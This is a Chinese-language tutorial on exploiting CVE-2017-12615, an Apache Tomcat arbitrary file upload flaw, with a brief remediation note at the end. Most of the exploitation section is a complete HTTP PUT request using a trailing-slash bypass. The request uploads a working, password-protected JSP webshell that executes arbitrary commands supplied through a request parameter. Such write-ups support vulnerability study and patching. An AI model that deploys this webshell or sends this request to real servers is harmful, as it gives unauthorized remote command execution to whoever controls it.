zl程序教程

您现在的位置是:首页 >  工具

当前栏目

Apache Tomcat任意文件上传漏洞(CVE-2017-12615)

2023-09-11 14:17:08 时间

Apache Tomcat任意文件上传漏洞(CVE-2017-12615)

漏洞编号

CVE-2017-12615

影响范围

Apache Tomcat 7.0.0 – 7.0.81

漏洞描述

Windows上的Apache Tomcat如果开启PUT方法(默认关闭),则存在此漏洞,攻击者可以利用该漏洞上传JSP文件,从而导致远程代码执行。

漏洞利用

(1)开启PUT方法

默认情况下readonly是true,此时PUT和DELETE方法是被拒绝的,当readonly为false时,便会开启。打开tomcat/conf/web.xml文件,找到default servlet的配置项,添加readonly那一项,如下所示:

https://upload-images.jianshu.io/upload_images/7119304-c98665726031344d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/797

(2)上传webshell

Tomcat 的 Servlet在 conf/web.xml 配置,通过配置文件可知,当后缀名为 .jsp 和 .jspx 的时候,通过JspServlet处理请求;而DefaultServlet存在漏洞,它处理静态资源,所以我们需要绕过这个限制,在文件名后加空格%20或者/。

使用burpsuite发送如下请求:

PUT /shell.jsp/ HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 663

 

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("lingwen".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

(3)执行命令,我们弹出一个计算器

修复方案

关闭PUT方法,默认关闭。即将conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true,才能防止漏洞。